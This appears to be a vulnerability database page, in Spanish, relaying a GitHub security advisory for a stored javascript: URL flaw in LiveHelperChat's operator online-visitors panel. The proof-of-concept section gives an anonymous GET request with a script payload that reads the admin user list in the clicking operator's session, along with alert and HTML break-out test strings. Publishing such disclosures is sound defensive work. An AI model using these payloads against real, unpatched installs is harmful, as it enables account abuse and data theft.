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Advisory · GitHub · Packagist · remdex/livehelperchat

GHSA-8R7C-6P3Q-RWGR

javascript: URL in the operator online visitors view via logpageview

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CVSS 3.1
6.1
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición39 dDesde la divulgación, 12 oct 2026, 1:53 a. m.
Detección37 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
12 oct 26
19 nov 26
20 nov 26
12 oct 26
22 oct 26
1 nov 26
11 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8R7C-6P3Q-RWGR divulgada · CVSS 6.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`modules/lhchat/module.php:615-619` declares `$ViewList['logpageview']` with no `functions` entry, so the dispatcher applies no permission check and the endpoint answers anonymous requests.

`lib/models/lhchat/erlhcoreclassmodelchatonlineuser.php:1117` takes the visitor's current page from the request and `:1120` stores it:

$location = isset($_POST['l']) ? $_POST['l'] : (isset($_GET['l']) ? rawurldecode($_GET['l']) : ...);
$item->current_page = $location;

The same handler stores the `r` parameter as the visitor's referrer at `:944`.

`design/defaulttheme/tpl/lhchat/getonlineuserinfo.tpl.php:6` renders both into one anchor:

<a href="<?php echo htmlspecialchars(trim($online_user->current_page))?>" class="no-wrap fs12"><?php echo htmlspecialchars(trim($online_user->referrer))?></a>

`htmlspecialchars` is applied and holds. What is missing is a scheme allowlist, so `javascript:` survives, and the attacker supplies the link text separately through `r`.

Result: an anonymous visitor plants a link in the operator's online visitors panel whose text is an ordinary looking URL and whose target is script in the application origin.

Details

`erlhcoreclassmodelchatonlineuser.php:1117` reads `l` from `$_POST` or `$_GET` and `:1120` assigns it to `current_page` with no validation of the scheme. `getonlineuserinfo.tpl.php:6` places that value in the `href` of an anchor that carries no `target` attribute, and the anchor text comes from `referrer`, which `:944` fills from `$_GET['r']`. The product performs exactly the missing check elsewhere: `modules/lhcobrowse/proxycss.php:67` rejects a URL unless `in_array($urlCSS['scheme'],['http','https'])`.

Reachable in a stock install: `track_online_visitors` is 1 by default (`modules/lhinstall/install.php:1566`), and the victim only needs `lhchat/use` and `lhchat/use_onlineusers`, both of which the installer grants the Operators role.

Three other templates render the same value and are not exploitable, because each carries `target="_blank"`: `online_user/online_user_info.tpl.php:96`, `onlineusers/items.tpl.php:37` and the Svelte main list at `LHCOnlineVisitors.svelte:875`. A fifth, `onlineusers/section_online_users_row.tpl.php:16`, is dead code with no reference anywhere in the tree. Navigation to a `javascript:` URL into a different browsing context is forbidden, so a click there opens `about:blank` and nothing runs.

The operator has to click the link. Opening the panel and the profile modal leaves the page unchanged.

The row shows in the list while `last_visit` falls inside the selected window, 30 seconds by default, and the attacker keeps it fresh by repeating the same anonymous request. The profile modal loads by row id and ignores that window, and the row itself survives until `tracked_users_cleanup`, 160 days by default.

Proof of concept

LiveHelperChat 4.94v (`d8787d04`), Docker, default configuration, anonymous request, Chromium with an operator logged in.

  1. Plant the entry anonymously. No cookie, no CSRF token.
GET /index.php/eng/chat/logpageview/(vid)/<any-visitor-id>
    ?l=javascript:fetch("/index.php/site_admin/user/userlist")
       .then(r=>r.text()).then(t=>{document.title="PWNED-"+t.length})
    &r=https%3A%2F%2Fexample.com%2Fblog

HTTP/1.1 200 OK
  1. The operator panel renders it. The link text is the attacker's `r` value.
<a href="javascript:fetch(&quot;/index.php/site_admin/user/userlist&quot;)..."
   class="no-wrap fs12">https://example.com/blog</a>
  1. The victim opens the visitor's profile modal and clicks the link. The payload runs in the application origin: `location.origin` reads `http://127.0.0.1:8010` and the page title changes to `PWNED-<n>`, where `n` is the length of the response the victim's own session received for `/site_admin/user/userlist`. With an account in the stock Operators role that is `PWNED-6360`, the permission error page. With an administrator it is `PWNED-90867`, the full user list.

A second payload, `l=javascript:alert("XSS-ORIGIN:"+document.domain)`, raises an alert reading `XSS-ORIGIN:127.0.0.1`.

Controls
  1. An HTML break-out attempt is escaped and inert: `l=https://example.org/path"><img src=x onerror=alert(1)><a href="` renders as `href="https://example.org/path&quot;&gt;&lt;img src=x onerror=alert(1)&gt;..."`.
  2. A click on the same visitor in the Svelte main list opens `about:blank` with `origin: null`, nothing executes and the console stays empty, because that template carries `target="_blank"`.
  3. Opening the panel and the profile modal leaves the document title unchanged; nothing runs until the anchor is clicked.

Live-verified: an anonymous request plants the link, and one click executes script in the application origin with the clicking user's session.

Impact
  • Script execution in the application origin with the clicking user's session, on one click.
  • The link text is attacker chosen, so the entry looks like an ordinary referrer URL.
  • The entry is planted without an account, a cookie or a CSRF token.
  • Against an administrator the payload read the full user list, 90867 bytes; against the stock Operators role the same request returns the permission error page.

Credit

Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
remdex/livehelperchat≤ 4.94v
4.94v
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistremdex/livehelperchat
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-8r7c-6p3q-rwgr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.